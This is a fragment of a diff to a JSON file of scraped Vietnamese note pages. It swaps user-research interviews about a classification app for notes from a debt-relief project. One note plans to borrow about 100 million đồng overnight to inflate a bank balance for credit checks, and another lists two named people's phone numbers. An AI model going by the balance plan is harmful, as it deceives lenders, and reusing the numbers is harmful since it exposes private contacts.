sống\r\n", + "Toàn bộ nội dung": "[[Nhiều tiền hơn có làm tăng thêm hạnh phúc, nhưng việc có những mối quan hệ chất lượng đem lại nhiều hạnh phúc hơn]]. Nếu sự giảm nợ hoặc gia hạn nợ đem cho họ những mối quan hệ chất lượng hơn thì có thể họ sẽ chấp nhận.\r\n\r\nNgười làm công việc thương lượng với chủ nợ cần thấy việc tiếp cận và xây dựng sự tin tưởng với chủ nợ và những người xung quanh là thú vị. Họ cần thấy việc tìm hiểu những thứ sau là thú vị:\r\n- Quá khứ của chủ nợ\r\n- Các nhu cầu của chủ nợ\r\n- Mạng lưới xã hội của chủ nợ\r\n- Hệ thống niềm tin của chủ nợ\r\n\r\nTừ đó lên kế hoạch để thuyết phục họ cân nhắc lùi thời hạn nợ hoặc giảm nợ.\r\n\r\nVề cơ bản, trong giai đoạn tìm hiểu người làm công việc này sẽ là một nhà nhân học nghiệp dư kiêm OINST nghiệp dư. Khi lên kế hoạch thuyết phục thì là nhà công tác xã hội nghiệp dư.\r\n\r\n[(Trong tiếng Anh, nghĩa gốc của *amateur (nghiệp dư)* là những người làm vì đam mê, chứ không phải là trình độ còn non)](https://obsidian.quảcầu.cc/⚡Hiểu%20biết%20sâu/Kinh%20tế.%20Tâm%20lý%20học%20quản%20lý%20và%20lao%20động/Kinh%20tế/Lịch%20sử,%20triết%20học,%20chính%20trị,%20xã%20hội%20học%20trong%20kinh%20tế/Trong%20tiếng%20Anh,%20nghĩa%20gốc%20của%20amateur%20(nghiệp%20dư)%20là%20những%20người%20làm%20vì%20đam%20mê,%20chứ%20không%20phải%20là%20trình%20độ%20còn%20non?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Tài+nguyên)&utm_medium=Vault&utm_campaign=C1&utm_content=&utm_term=)\r\n\r\nNgười điều hành [Quỹ Tình Thân](https://www.facebook.com/profile.php?id=100077601589557&v=timeline&lst=100038413598261%3A100077601589557%3A1684514892&eav=AfZ-gv2lqyQB0Aq69YPKH02KBMzxO_jh4u9moWoAnA8pDhYcwmMc0rLzR_dOt0o4jOQ&refid=17&paipv=0 \"Facebook\"), anh [[Phạm Trường Sơn]], là một nhà công tác xã hội và có nhiều kinh nghiệm làm việc với dân xã hội đen. Nếu bạn có nhu cầu bọn mình có thể kết nối với ảnh.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-11-25T08:33:00.000Z", + "Ngày cập nhật": "2024-07-28T06:19:00.000Z", "id": "4K" }, { - "Tiêu đề": "Duy Phong", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Duy Phong", + "Tiêu đề": "Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Hành vi phân loại\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n6 đến 10 lần\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n11 phút đến 1 tiếng\r\n## Bạn thường phải phân loại những gì?\r\nThu chi cá nhân, Thu chi tổ chức, Mối quan hệ, Tài sản, Hành vi con người (VD: con cái), Ý tưởng\r\nGhi âm, doc, pdf, ảnh chụp, screenshot\r\n\r\nCó hẳn một con NAS để chứa dữ liệu. Dữ liệu tải về một đống nhưng chưa phân loại. Không dùng được thôi không có nghĩa là nó không có giá trị\r\n❓quên đồ, ai thích mượn gì thì mượn. \r\n\r\n## Bao lâu bạn làm việc đó một lần?\r\nCó thể nói là mỗi ngày\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\ncó cơ hội thì lan toả, có dự án thì tốt. Như Wikipedia chả tuyển ai cả, lan toả dần dần thôi \r\ntổng hợp các nguồn, mua cái này cái kia ở đâu\r\n## Nếu không làm thì tại sao?\r\n## Bạn có thể phân loại mẫu được không?\r\n### Notion\r\nChưa làm các bước xem lại. Ko có tag, original description, comment\r\ncó ảnh trên account\r\n\r\ntimeline các vid ăn khớp với nhau thế nào\r\ndân tộc học, viết các tiểu tự sự\r\nfb, insta,tiktok\r\n\r\nsau này chọn lọc một vid bất kỳ như làm giám tuyển\r\n\r\n\r\nThe greate libreary là NAS của em\r\n\r\nCác sách scan\r\ncapture xong thì sẽ lưu vào NAS\r\nchia về kho nào thì \r\n\r\ný tưởng nên có hoàn cảnh ra đời\r\n\r\ncái nào nặng quá và chưa cần lấy lại ngay thì vứt tạm vào đây\r\n\r\ntìm lại những độc thoại tự sự, context được sinh ra trong các lời thoại này\r\n\r\npackaging là đóng gói kỹ năng lại để đưa cho người ta, xong đưa lên curius\r\n### Logseq\r\ntam đoạn luận. Nếu muốn kiếm trên metadata thì ở dươis\r\n\r\nWikipedia thì chỉ chọn lọc những cái significance, còn mình làm tiểu tự sự \r\n\r\nevereen note: mở 2 khung, với whiteboard, rồi như code có frontend\r\n## Có thể cho mình tiếp cận dữ liệu của bạn được không?\r\n\r\n# Việc phải phân loại dữ liệu thủ công đã ảnh hưởng đến những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung như thế nào?\r\n## Mỗi lần phân loại tốn bao nhiêu thời gian?\r\nSau khi trừ thời gian đi học và những thứ khác thì còn lại đều làm. Có thể nói là mỗi ngày, mỗi lần tiếng hoặc 1/3 ngày\r\nScan thành bản pdf cũng ko dưới 1 tiếng đồng hồ.\r\n\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\nPhát triển wiki, pkm về phim, có thể vẽ bản đồ của kiến thức, từ đó đi dạy cho mọi người được về điện ảnh.\r\nslash một cái thì thấy được tên luôn thì dễ\r\n\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\npkm thay cho search, kết nối map tốt hơn\r\ntrong quá trình làm nghiên cứu, google giúp tìm nguồn khá tốt, nhưng ko rõ bạn đã làm thế như thế nào, flow như thế nào, hướng đi của bạn như thế nào. \r\n\r\ncó muốn theo tree, nhưng cũng muốn theo graph\r\n\r\n## Nếu không phải tốn thời gian cho những việc đó thì bạn sẽ làm gì?\r\n### Tức là việc phân loại ảnh hưởng đến những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung?\r\nviệc phân loại chủ yếu là để cho người khác xem, chứ không phải là cho bản thân. Nếu không được thì chỉ tốn thời gian cho việc đào tạo người mới khi không cho bạn tài liệu để tham khảo được mà phải tự giải thích từ đầu đến cuối. Và việc này là vấn đề ở tương lai. Nếu muốn phát triển bản thân, làm những thứ lớn hơn, đi du học thì sẽ quan trọng.\r\n\r\nNhư người bình thường có thể quên thì cũng được, \r\ncó một con bé hỏi về hành vi ngôn ngữ, nhưng tra bằng Wikipedia thì vẫn có nhưng không đủ, nhưng ít liên quan hoặc khó áp dụng bằng sách. Nên em nhận ra là thay vì summary thì nên có dẫn chứng ngắn gọn. Cách em ứng dụng lý thuyết của mình, ví dụ cách dùng, để có thể có hình dung\r\n\r\ncâu hỏi về một chị của em, tại sao việt nam bỏ kinh tế bao cấp. Nhưng nếu tra thì ko có ra thẳng vấn đề mà lại cố gắng trả lời đầy đủ. Người . Google tra các page, và muốn lên thì nó phải tổng hợp. Không làm từ góc độ người học hoặc toạ đàm mà từ góc đọ tra thông itn\r\n\r\nchatgpt ko trả lời như một nhà giáo dục\r\n\r\nKhác biệt với Wikipedia: chỉ tổng hợp kiến thức cơ bản, sơ khai, ko có nói về việc mình liên tưởng, hình dung \r\ntầm 1 2 năm nữa có trên mấy nghìn note thì sẽ có các evergreen note. \r\n\r\nexchange data\r\n\r\nchưa chia sẻ nhiều. Có người hỏi muốn được chỉ notion\r\nlàm một vid gì đó để họ hiểu\r\nhọ cần ví dụ, dễ hiểu, navigate.\r\n\r\nviết notion là ăn liền, cho mọi người\r\nNhược điểm: database trình bày rất nhiều, ko có sort, \r\nkhông muốn thử\r\n## Bạn cảm thấy như thế nào vào thời điểm đó?\r\nBất tiện. Làm chầm chậm thì cũng hay, nhưng ko làm quy mô lớn được.\r\n\r\n# Bạn nghĩ rằng giải pháp cho bạn nên là như thế nào?\r\n## Bạn có bao giờ nghĩ giá như có một giải pháp giúp tự động hoá những chuyện này không?\r\n## Bạn có nghĩ giải pháp đó là đơn giản không?\r\n## Theo bạn tại sao bạn chưa có giải pháp đó?\r\n## Nếu là AI thì sao?\r\nMỗi người nên có cái pkm của mình. AI thực ra có thể lấy data trên mạng, nhưng có những cái mà mình thu thập được mà nó ko thu thập đc, ví dụ như tài liệu nội bộ.\r\n\r\nKhông định dùng AI để tra kiến thức. AI là để tranh luận chung với mình, làm chung với mình, hơn là một công cụ. VD: code chạy cho mình.\r\n## Bạn nghĩ giá của nó nên như thế nào?\r\nGiá không quan trọng, quan trọng là khả năng chia sẻ, để cho cộng đồng của sản phẩm. Sau này còn có thể dùng nó cho cộng đồng của mình.\r\n\r\nVề giá 5tr thì vì bản thân ko biết cách định giá, nên mọi người ra giá bao nhiêu thì lấy. Lấy theo % cũng được nhưng cũng không biết. Ko bị ảnh hưởng bởi 5tr, nhưng cố đc bao nhiêu thì cố.\r\n\r\nTrả góp thì dễ hơn. Muốn trao đổi bằng kiến thức.\r\n\r\nTrước khi tìm thấy trấn kỳ 1 2 ngày thì có thấy [một sản phẩm y chang luôn](https://www.facebook.com/reel/2034498810230267). Cái này thì làm marketing dễ thu hút người ta hơn. Cũng user friendly hơn. Tuy nhiên lại ko đa dụng hơn. Việc tạo bot telegram là được ngay. Chỉ muốn là nhân cơ hội để học code. \r\n\r\n# Bạn nghĩ như thế nào về việc lập trình?\r\n## Bạn có thấy mình cần biết lập trình không?\r\n## Vì sao bạn thấy mình cần biết lập trình?\r\ncấu trúc dữ liệu, làm nhiều hơn mấy cái download. Cũng ko cần quá nhiều tài liệu gì\r\n## Những lúc bạn cần lập trình là khi nào?\r\n## Bạn thấy khả năng lập trình của mình là thế nào?\r\n## Bạn muốn khả năng lập trình của mình tới mức nào?\r\n## Bạn có muốn cải thiện khả năng đó không?\r\n## Vì sao bạn chưa làm điều đó?\r\nnguồn đủ tốt để \r\ncó nhiều cái cũng bỏ dở. Có một số task mang tính thời sự \r\nmới chỉ biết nhiều về cách lấy tài liệu\r\nđang theo course [Hacker101](https://www.hacker101.com/ \"Home | Hacker101\"). Cũng bỏ được vài tuần, cũng chưa có định hướng. Cơ sở dữ liệu thì cần hơn.\r\nbị hook vào một cái lỗi mà mất 3 ngày liên tục, nhưng sau đó bỏ mấy tuần\r\nnghĩ rằng thuyết trình thì đủ rồi, còn chuyên sâu thì không\r\nvấn đề về chương trình học hơn là thời gian\r\n\r\n## Điều gì sẽ giúp bạn làm điều đó?\r\n\r\n# Bạn nghĩ thế nào về các buổi hướng dẫn Trấn Kỳ?\r\n## Nếu có các buổi hướng dẫn cách phân loại, và từ đó cũng biết được các khái niệm căn bản của lập trình thì bạn nghĩ thế nào?\r\n## Bạn có hứng thú tham gia tổ chức buổi hướng dẫn không?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbài code: khó \r\n\r\ntrong lúc đăng ký\r\nđi tới bài hỗ trợ kendy\r\ncác buổi chia sẻ kỹ năng miễn phí\r\n\r\nbiết từ mấy bài về sự bất lực học được. Sau một thời gian\r\nuow phức tạp thật. Nghi cũng ko biết giải thích thế nào.\r\nđọc lịch sử phát triển một vấn đề thì sẽ dễ hiểu hơn\r\n\r\nlúc đó chưa quan tâm lý do viết trấn kỳ\r\n\r\nchưa có vision cụ thể cho em\r\n\r\nbất tiện vì ko có chỗ để lưu chung. Phải bật notion, ko share được từ đt\r\n\r\nhơi ngại vì chưa chào hỏi, cộng đồng chưa có cảm giác getin một cách dễ dàng\r\nKhông hỏi trên discord vì thấy đã có nhiều tài nguyên rồi, mình cũng phải tự process. Nếu tham gia thì hỏi một thể\r\n\r\nNotion nhìn đẹp hơn, chia sẻ cho người khác tốt hơn. Tương tác bằng whiteboard, graph sẽ tốt hơn. Logseq dùng để link\r\n", + "Toàn bộ nội dung": "Bởi vì [[Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày]], nên \r\nNhư vậy, bọn mình cần tìm nguồn có thể cho Kendy mượn tầm 100tr để trong ngân hàng qua đêm, sáng hôm sau trả lại cũng được. Chỉ cần đến trước 5h chiều thì lại cho mượn tiếp. \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:42:00.000Z", + "Ngày cập nhật": "2024-07-28T05:34:00.000Z", "id": "4L" }, { - "Tiêu đề": "Nguyễn Hữu Quý Ngân", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Nguyễn Hữu Quý Ngân", + "Tiêu đề": "Đứng ra vay giùm", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Đứng ra vay giùm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# tab 1\r\ndùng monthly budget \r\ncó một số mục như đầu tư, ăn, quà tặng, dịch vụ y tế, thuốc men, tiền nhà/điện/nước/internet, đi lại\r\n\r\ntravel chỉ có một số lúc đáng kể, chứ đa phần ko có. \r\ndebt thì thường là credit\r\nhay để ý nhất là đầu tư, phụ huynh, học\r\n\r\n# tab 2\r\nchi tiết cụ thể\r\nchỉ quan tâm số lượng bao nhiêu, thuộc thể loại nào\r\n\r\nthành ra báo cáo này thuần về cashflow chứ ko phải là balance sheet \r\n\r\nđộ chênh lệch giữa actual và planned\r\n\r\nra được một report tổng cuối năm. Truy ra chi tiết từng câegory trong mỗi tháng, sau đó vẽ ra một cái chart \r\n\r\n\r\ndù có tháng gồng nợ, nhưng cơ bản là cuối năm vẫn đạt target\r\n\r\nnhững cái app chỉ đưa ra con số thực tế chứ không có plan, và chênh lệch giữa plan. Cái cảm giác tội lỗi chỉ có vài ngày\r\n\r\nphòng budgeing cũng ko biết. Gom tất cả các luồng tiền từng chi vào một report. SỐ mới update liên tục bằng powerBI. Cách họ đọc biểu đồ ở cấp độ quản lý, còn như em thì chỉ cần \r\n\r\nngay lúc bấm confirm mua hàng thì con số đã tự động cập nhật\r\ndynamics ax\r\n\r\nngày xưa ba em quản lý đúng theo kiểu kế toán\r\n\r\ndùng sheeet google tại quen kiếm tiếng Anh, chứ tiếng Việt thì ko ổn định\r\n\r\nlúc search thì cũng thấy có nhiều người làm, nhưng tụi nó làm thấy rối quá, \r\nđến với google là vì sự đơn giản với kiếm cái chóc là ra\r\nChỉ muốn sau 5, 10 phút sau là làm đc rồi\r\nCó để vợ xài nữa\r\nchỉ quan tâm ngày chi, số tiền,\r\ndưới 10 loại phân loại\r\ngom hết thành một cục\r\n\r\nthấy đi nhậu mà tiền di chuyển tăng lên\r\nchỉ mua duy nhất là đồ ăn và đồ cho con\r\n\r\nbật lên thì mất thời gian, nên cưới ngày mới bật lên làm. Nhập lên thì phải thống kê. Móc đt ra thì cũng bất tiện\r\nnếu làm app quá tiện thì cảm giác chi tiêu quá trớn sẽ có luôn, nên ko tận hưởng được\r\n\r\ntiện thì cần tiện, có xài google kêp nhưng lucsn oà mua nhiều đồ quá mới ghi, còn thì dùng bill hoặc cà thẻ\r\nteam trong công ty này có khi nhậu mỗi ngày\r\ntháng nào cũng phải lên plan. Về tổng thể thì tiền chi cho ăn uống là ổn định, còn những cái khác thì cứ lên xuống. Nên tháng nào cũng phải điều chỉnh\r\n\r\nko có nhu cầu kếp lên sheet. Nhưng nếu từ lens vào keep thì đc. Cái khó là bill lẫn lôn category và cấu trúc. VD như bill du lịch vừa là sản phẩm (ăn uống) + nghỉ dưỡng + spa cộng hết vào\r\n\r\nteam data, app mobile\r\nsheet ko validate \r\nlâm sàng thì phải truy xuất, bất cứ thay đổi gì đều phải truy xuất đc ai làm, làm những gì\r\nteam 5 thằng, 150 mấy nghiên cứu\r\n\r\n\r\nnhiều khi bảng câu hỏi chỉ có đầu, cuối, chứ ở giữa ko có. Ohair nhắc điền lại\r\n\r\n\r\n# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n", + "Toàn bộ nội dung": "Tốn thời gian nhất là cứ phải làm kyc, nhập thông tin địa chỉ thủ công. Đã nhập rồi nhưng vẫn cứ phải làm lại\n[[App vay nóng không cần điểm tín dụng]]\n\n%% \nĐỗ Hàng Minh Trí: 0378 303 123\nHồng Thị Tuyết Nhi: 0336 408 666\n%%\n\n- Người sáng lập Quả Cầu, 1 tổ chức hoạt động vì con người, a có thu nhập thông qua các tổ chức + mở các team tham gia code bán các sản phẩm trên Patreon\n- **Thu nhập:** tầm 15 → 25tr/ tháng, có em là nhân viên và nhi là đồng sự\n- **Mục đích vay:** mua khoá học chứng khoán của quách mạnh hào bên qmv, giá 20tr/ năm\n\ncó thể đợi để mua luôn được, nhưng cần thời gian học nên cần vay mua trước vì đã thanh toán tiền hàng\ncty a ngay tại chính nhà a luôn, tận dụng chung cư làm office để mọi người làm, nhưng đa phần là làm remote\nanh ko cần vay hết 20tr, mà chỉ cần vay 16tr, thì có gói nào ls vừa phải, thời hạn tầm 12 → 18 tháng đều đc\n\nXem thêm:: [[Các dịch vụ cho vay]]\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-08-28T07:06:00.000Z", "id": "4M" }, { - "Tiêu đề": "Nguyễn Khánh Huyền", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Nguyễn Khánh Huyền", + "Tiêu đề": "Kendy cần gì?", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Kendy/Kendy cần gì", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Thông tin cơ bản\r\n[Nguyễn Khánh Huyền](https://www.facebook.com/pistachio.212/) bình luận trong nhóm\r\n[Phân tích và xử lý dữ liệu - Data analysis and Processing](https://www.facebook.com/groups/dataanalysisandprocessing/posts/1616590132480059/?comment_id=1621108902028182)\r\n> Hehe, hôm bữa đi đường mới có idea này xong, giờ thấy sp thật luôn\r\n\r\n## Giới thiệu về bản thân, công việc\r\nsinh viên kỹ thuật máy tính, trường ĐHCN, khoa điện tử, kết hợp của CNTT với điện tử năm 3. Biết nhóm này từ lời mời trực tiếp của admin.\r\nvi mạch, nhúng, \r\nvài năm đầu học điện tử\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n- Chi tiêu\r\n- Nhật ký: chuyện học hay tự đối thoại\r\n## Bạn thường phân loại những gì?\r\nchi tiêu\r\nNhật ký thì chỉ ghi theo ngày chứ cũng ko phân loại. \r\n## Việc phân loại giúp ích được những gì cho bạn?\r\nPhân loại là để nhìn, báo cáo bao nhiêu %\r\nNếu phân loại được nhật ký thì cũng tốt. Muốn biết mình tốt hơn hay xấu hơn. Gõ từ khoá theo tiêu đề\r\nBây giờ cũng không nhất thiết phải có thống kê\r\n\r\nThứ hữu ích nhất là tính tổng tiền trong tháng. Nhìn vào mục phân loại thì biết \r\nMột tháng chỉ tầm 45 dòng\r\n\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\nNhập vào mua rau thì là thức ăn\r\n\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\napp nào cũng có nhưng chẳng bao giờ dùng\r\nHồi đầu dùng Moneylover, nhưng tính phí hay thế nào mà chỉ dùng 1 năm rồi thôi. Giờ thì dùng excel \r\nMuốn có báo cáo, mấy cái ghi chép hay công cụ chỉ để tiết kiệm thời gian chứ ko muốn dành quá nhiều thời gian\r\n\r\nbắt đầu từ ngày lên đại học thì cũng dùng đc 1 2 năm nhưng ko liên tục. Có lúc ghi ra giấy\r\nCả một ngày mới ghi, cũng có khi 2 3 hôm mới ghi lại. Vì lười. Cũng chỉ là sv thì cũng ko nhiều lắm, nếu ck thì có ở đó, với cũng nhớ\r\n\r\nMoneylover miễn phí chỉ cho dùng một ví, còn muốn dùng nhiều ví thì phải thêm tiền. Lúc đó chưa làm ra tiền mà chỉ tiêu. Tiền gia đình thì lúc thì là thẻ, lúc thì tiền mặt\r\n\r\n### Lý do không dùng các mẫu thu chi có sẵn\r\nkhông dùng những cái phức tạp, tốn thời gian và cầu kỳ. Dành 1 2 phút là đã lười rồi. Ngồi 5 10 phút để sửa này sửa kia. Quá phức tạp về ngoại hình. Trên YouTube cũng có nhiều hướng dẫn làm excel rất là xịn. Sau khi nhập thì cũng có thống kê\r\n\r\ncái ko muốn bỏ thời gian là mình đã có một ứng dụng hoàn thiện rồi, và mình chỉ cần 1 vài phút là đc\r\n\r\nphức tạp hơn nhu cầu của em. Biết đến Notion trước, nhưng thấy nó phức tạp về mặt, to do list, sách đã đọc. Google sheet cho cảm giác gọn. Notion thì muốn cho trang trí thì mình lại muốn làm. \r\n\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\nmôn tự chọn là học máy, cái hôm đi đường thì nghĩ về phân loại chi tiêu\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\nchưa bao giờ dùng nên cũng chưa biết được độ chính xác. Chỉ hỏi tiếng Anh, chứ tiếng Việt ngốc ngốc \r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\nĐiều mình muốn thử:\r\n1. hợp nhu cầu\r\n2. chi phí\r\n3. dễ sử dụng\r\n4. hợp mắt với giao diện \r\nKhông biết xếp vậy đúng chưa hay chỉ là cảm tính nhất thời. Vì mình nghĩ ra nó nên thấy chỉ có nhu cầu dùng nó hơn người chưa bao giờ nghĩ về nó một chút thôi\r\n\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\nLý do comment là vì sáng đi xe nghĩ thì chiều về lướt fb đã có người làm nên thấy trùng hợp. Trùng hợp thì đã comment là đc, chứ việc đọc kỹ thì là phải đúng nhu cầu. Chỉ đọc khi theo đúng mảng mình học\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\nTích hợp thì chưa có nhu cầu\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\nthấy phần giao diện hợp ý nó đơn giản, nhưng bề ngang thì kéo dài\r\nĐể nó hiển thị ra dài thì cũng nhiều, muốn mình chỉ nhìn một. Nó cũng dài nhưng muốn nó hiển thị hết ra. Muốn những cột khác được ẩn đi\r\nSợ nó phức tạp mặc \r\n\r\nSau đó bấm qua thiết lập. Đọc hết rồi bấm qua khung cấu hình\r\nmuống không phải là thìa. Như thế thì khá là dài.\r\n\r\nsau đó thử nhập: 120k xe, thấy món đồ ko có gì thì chuyển thành 120k đi xe khách\r\n40k bánh xíu páo. Thấy \"xíu páo\" TK ko bắt được, nhưng thấy cũng đc\r\nChi thì để màu đỏ hoặc trắng, thu thì là xanh, ko làm nó dài dài ra \r\nmuốn mới nhập lên trên đầu\r\n\r\nmỗi tháng là một tab.\r\nTìm lướt lướt\r\n\r\ndễ dùng, nhưng ko dùng vì bảng tự viết thì có màu và chỉ có 3 cái. Lướt để nhập chứ cũng không tự nhập gì cả. Một ngày chỉ có tầm 2, 3 khoản chi nên việc phân loại thủ công cũng nhanh\r\n\r\ncó app tiếng việt nhưng xấu nên chỉ dùng 1 tuần\r\n\r\n## Bạn thấy chân trang thế nào?\r\nko thích màu xấu. \r\n\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Bạn thấy các bài viết như thế nào?\r\nlúc mới đọc thì ko biết Trấn Kỳ là tên người hay tên app. Vì nếu là tên app thì hơi lạ\r\nTrấn kỳ là gì → các buổi đáp ứng nhu cầu → Lý do viết TK\r\ncác buổi đáp ứng nhu cầu: thì ra là ở đây có cộng đồng, hội nhóm, chứ ko đọc ở đây dạy những cái gì\r\n\r\nko đọc kỹ, chỉ nhìn lung tung, ko biết là một người hay một nhóm\r\ntừ ngữ không có tính phổ thông mà nó học thuật hoặc cao siêu gì đấy so với trình độ của mình. Có dừng chậm lại để đọc nhưng cũng không hiểu. Cách dùng từ ngữ hơi bị \r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\nDùng Notion vì có cái bảng calendar\r\nKo ai bỏ hết trứng vào một giỏ. Ko may bị mất tài khoản hay dữ liệu. Cũng ko phải là lo là mất dữ liệu, chỉ là vì ko có lý do quá lớn, dù những tính toán mà mình cần thì Notion cũng có\r\nsau đó chuyển sang Obsidian vì có phần link. Dùng Notion ghi 